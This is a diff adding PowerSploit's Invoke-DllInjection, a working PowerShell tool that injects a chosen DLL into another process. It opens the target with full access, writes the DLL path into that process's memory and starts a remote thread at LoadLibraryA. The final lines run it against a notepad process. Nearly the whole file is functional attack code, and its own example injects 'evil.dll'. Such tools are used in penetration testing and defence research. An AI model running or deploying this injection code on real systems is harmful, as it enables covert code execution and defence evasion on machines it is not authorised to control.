|
| 1 | +function Invoke-DllInjection |
| 2 | +{ |
| 3 | +<# |
| 4 | +.SYNOPSIS |
| 5 | +
|
| 6 | +Injects a Dll into the process ID of your choosing. |
| 7 | +
|
| 8 | +PowerSploit Function: Invoke-DllInjection |
| 9 | +Author: Matthew Graeber (@mattifestation) |
| 10 | +License: BSD 3-Clause |
| 11 | +Required Dependencies: None |
| 12 | +Optional Dependencies: None |
| 13 | +
|
| 14 | +.DESCRIPTION |
| 15 | +
|
| 16 | +Invoke-DllInjection injects a Dll into an arbitrary process. |
| 17 | +
|
| 18 | +.PARAMETER ProcessID |
| 19 | +
|
| 20 | +Process ID of the process you want to inject a Dll into. |
| 21 | +
|
| 22 | +.PARAMETER Dll |
| 23 | +
|
| 24 | +Name of the dll to inject. This can be an absolute or relative path. |
| 25 | +
|
| 26 | +.EXAMPLE |
| 27 | +
|
| 28 | +Invoke-DllInjection -ProcessID 4274 -Dll evil.dll |
| 29 | +
|
| 30 | +Description |
| 31 | +----------- |
| 32 | +Inject 'evil.dll' into process ID 4274. |
| 33 | +
|
| 34 | +.NOTES |
| 35 | +
|
| 36 | +Use the '-Verbose' option to print detailed information. |
| 37 | +
|
| 38 | +.LINK |
| 39 | +
|
| 40 | +http://www.exploit-monday.com |
| 41 | +#> |
| 42 | + |
| 43 | + Param ( |
| 44 | + [Parameter( Position = 0, Mandatory = $True )] |
| 45 | + [Int] |
| 46 | + $ProcessID, |
| 47 | + |
| 48 | + [Parameter( Position = 1, Mandatory = $True )] |
| 49 | + [String] |
| 50 | + $Dll |
| 51 | + ) |
| 52 | + |
| 53 | + # Confirm that the process you want to inject into exists |
| 54 | + try |
| 55 | + { |
| 56 | + Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null |
| 57 | + } |
| 58 | + catch [System.Management.Automation.ActionPreferenceStopException] |
| 59 | + { |
| 60 | + Throw "Process does not exist!" |
| 61 | + } |
| 62 | + |
| 63 | + # Confirm that the path to the dll exists |
| 64 | + try |
| 65 | + { |
| 66 | + $Dll = (Resolve-Path $Dll -ErrorAction Stop).Path |
| 67 | + Write-Verbose "Full path to Dll: $Dll" |
| 68 | + $AsciiEncoder = New-Object System.Text.ASCIIEncoding |
| 69 | + # Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process. |
| 70 | + $DllByteArray = $AsciiEncoder.GetBytes($Dll) |
| 71 | + } |
| 72 | + catch [System.Management.Automation.ActionPreferenceStopException] |
| 73 | + { |
| 74 | + Throw "Invalid Dll path!" |
| 75 | + } |
| 76 | + |
| 77 | + function Local:Get-DelegateType |
| 78 | + { |
| 79 | + Param |
| 80 | + ( |
| 81 | + [OutputType([Type])] |
| 82 | + |
| 83 | + [Parameter( Position = 0)] |
| 84 | + [Type[]] |
| 85 | + $Parameters = (New-Object Type[](0)), |
| 86 | + |
| 87 | + [Parameter( Position = 1 )] |
| 88 | + [Type] |
| 89 | + $ReturnType = [Void] |
| 90 | + ) |
| 91 | + |
| 92 | + $Domain = [AppDomain]::CurrentDomain |
| 93 | + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') |
| 94 | + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) |
| 95 | + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) |
| 96 | + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) |
| 97 | + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) |
| 98 | + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') |
| 99 | + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) |
| 100 | + $MethodBuilder.SetImplementationFlags('Runtime, Managed') |
| 101 | + |
| 102 | + Write-Output $TypeBuilder.CreateType() |
| 103 | + } |
| 104 | + |
| 105 | + function Local:Get-ProcAddress |
| 106 | + { |
| 107 | + Param |
| 108 | + ( |
| 109 | + [OutputType([IntPtr])] |
| 110 | + |
| 111 | + [Parameter( Position = 0, Mandatory = $True )] |
| 112 | + [String] |
| 113 | + $Module, |
| 114 | + |
| 115 | + [Parameter( Position = 1, Mandatory = $True )] |
| 116 | + [String] |
| 117 | + $Procedure |
| 118 | + ) |
| 119 | + |
| 120 | + # Get a reference to System.dll in the GAC |
| 121 | + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | |
| 122 | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } |
| 123 | + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') |
| 124 | + # Get a reference to the GetModuleHandle and GetProcAddress methods |
| 125 | + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') |
| 126 | + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') |
| 127 | + # Get a handle to the module specified |
| 128 | + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) |
| 129 | + $tmpPtr = New-Object IntPtr |
| 130 | + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) |
| 131 | + |
| 132 | + # Return the address of the function |
| 133 | + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) |
| 134 | + } |
| 135 | + |
| 136 | + function Local:Get-PEArchitecture |
| 137 | + { |
| 138 | + Param |
| 139 | + ( |
| 140 | + [Parameter( Position = 0, |
| 141 | + Mandatory = $True )] |
| 142 | + [String] |
| 143 | + $Path |
| 144 | + ) |
| 145 | + |
| 146 | + # Parse PE header to see if binary was compiled 32 or 64-bit |
| 147 | + $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) |
| 148 | + |
| 149 | + [Byte[]] $MZHeader = New-Object Byte[](2) |
| 150 | + $FileStream.Read($MZHeader,0,2) | Out-Null |
| 151 | + |
| 152 | + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) |
| 153 | + if ($Header -ne 'MZ') |
| 154 | + { |
| 155 | + $FileStream.Close() |
| 156 | + Throw 'Invalid PE header.' |
| 157 | + } |
| 158 | + |
| 159 | + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) |
| 160 | + $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null |
| 161 | + |
| 162 | + [Byte[]] $lfanew = New-Object Byte[](4) |
| 163 | + |
| 164 | + # Read offset to the PE Header (will be read in reverse) |
| 165 | + $FileStream.Read($lfanew,0,4) | Out-Null |
| 166 | + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) |
| 167 | + |
| 168 | + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE |
| 169 | + $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null |
| 170 | + [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) |
| 171 | + |
| 172 | + # Read compiled architecture |
| 173 | + $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null |
| 174 | + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') |
| 175 | + $FileStream.Close() |
| 176 | + |
| 177 | + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) |
| 178 | + { |
| 179 | + Throw 'Invalid PE header or unsupported architecture.' |
| 180 | + } |
| 181 | + |
| 182 | + if ($Architecture -eq '014C') |
| 183 | + { |
| 184 | + Write-Output 'X86' |
| 185 | + } |
| 186 | + elseif ($Architecture -eq '8664') |
| 187 | + { |
| 188 | + Write-Output 'X64' |
| 189 | + } |
| 190 | + else |
| 191 | + { |
| 192 | + Write-Output 'OTHER' |
| 193 | + } |
| 194 | + } |
| 195 | + |
| 196 | + |
| 197 | + # Get addresses of and declare delegates for essential Win32 functions. |
| 198 | + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess |
| 199 | + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) |
| 200 | + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) |
| 201 | + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx |
| 202 | + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) |
| 203 | + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) |
| 204 | + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx |
| 205 | + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool]) |
| 206 | + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) |
| 207 | + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory |
| 208 | + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) |
| 209 | + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) |
| 210 | + $RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread |
| 211 | + $RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) |
| 212 | + $RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate) |
| 213 | + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle |
| 214 | + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) |
| 215 | + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) |
| 216 | + |
| 217 | + # Determine the bitness of the running PowerShell process based upon the size of the IntPtr type. |
| 218 | + if ([IntPtr]::Size -eq 4) |
| 219 | + { |
| 220 | + $PowerShell32bit = $True |
| 221 | + } |
| 222 | + else |
| 223 | + { |
| 224 | + $PowerShell32bit = $False |
| 225 | + } |
| 226 | + |
| 227 | + $OSArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture |
| 228 | + |
| 229 | + switch ($OSArchitecture) |
| 230 | + { |
| 231 | + '32-bit' { $64bitOS = $False } |
| 232 | + '64-bit' { $64bitOS = $True } |
| 233 | + } |
| 234 | + |
| 235 | + # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null. |
| 236 | + $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process |
| 237 | + |
| 238 | + if ($IsWow64ProcessAddr) |
| 239 | + { |
| 240 | + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) |
| 241 | + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) |
| 242 | + } |
| 243 | + |
| 244 | + $Architecture = Get-PEArchitecture $Dll |
| 245 | + |
| 246 | + Write-Verbose "Architecture of the dll to be injected: $Architecture" |
| 247 | + |
| 248 | + # Open a handle to the process you want to inject into |
| 249 | + $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) |
| 250 | + |
| 251 | + if (!$hProcess) |
| 252 | + { |
| 253 | + Throw 'Unable to open process handle.' |
| 254 | + } |
| 255 | + |
| 256 | + if ($64bitOS) # Only perform theses checks if OS is 64-bit |
| 257 | + { |
| 258 | + if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') ) |
| 259 | + { |
| 260 | + Throw 'Only x86 or AMD64 architechtures supported.' |
| 261 | + } |
| 262 | + |
| 263 | + # Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise. |
| 264 | + $IsWow64 = $False |
| 265 | + $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null |
| 266 | + |
| 267 | + if ( $PowerShell32bit -and ($Architecture -eq 'X64') ) |
| 268 | + { |
| 269 | + Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.' |
| 270 | + } |
| 271 | + |
| 272 | + if ( (!$IsWow64) -and ($Architecture -eq 'X86') ) |
| 273 | + { |
| 274 | + Throw 'You cannot inject a 32-bit DLL into a 64-bit process.' |
| 275 | + } |
| 276 | + |
| 277 | + if ( $IsWow64 -and ($Architecture -eq 'X64') ) |
| 278 | + { |
| 279 | + Throw 'You cannot inject a 64-bit DLL into a 32-bit process.' |
| 280 | + } |
| 281 | + } |
| 282 | + else |
| 283 | + { |
| 284 | + if ($Architecture -ne 'X86') |
| 285 | + { |
| 286 | + Throw 'PE file was not compiled for x86.' |
| 287 | + } |
| 288 | + } |
| 289 | + |
| 290 | + # Get address of LoadLibraryA function |
| 291 | + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA |
| 292 | + Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))" |
| 293 | + |
| 294 | + # Reserve and commit memory to hold name of dll |
| 295 | + $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW) |
| 296 | + if ($RemoteMemAddr -eq [IntPtr]::Zero) |
| 297 | + { |
| 298 | + Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.' |
| 299 | + } |
| 300 | + Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" |
| 301 | + |
| 302 | + # Write the name of the dll to the remote process address space |
| 303 | + $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null |
| 304 | + Write-Verbose "Dll path written sucessfully." |
| 305 | + |
| 306 | + # Execute dll as a remote thread |
| 307 | + $Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero) |
| 308 | + if ($Result) |
| 309 | + { |
| 310 | + Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))" |
| 311 | + } |
| 312 | + |
| 313 | + $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000) |
| 314 | + |
| 315 | + # Close process handle |
| 316 | + $CloseHandle.Invoke($hProcess) | Out-Null |
| 317 | + |
| 318 | + # Extract just the filename from the provided path to the dll. |
| 319 | + $FileName = Split-Path $Dll -Leaf |
| 320 | + $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } |
| 321 | + |
| 322 | + if (!$DllInfo) |
| 323 | + { |
| 324 | + Throw "Dll did dot inject properly into the victim process." |
| 325 | + } |
| 326 | + |
| 327 | + Write-Verbose 'Dll injection complete!' |
| 328 | + |
| 329 | + $DllInfo |
| 330 | +} |
| 331 | +$Proc = Get-Process notepad |
| 332 | + |
| 333 | + |
| 334 | +Invoke-DllInjection -ProcessId $Proc.Id -Dll DemoDLL.dll |
0 commit comments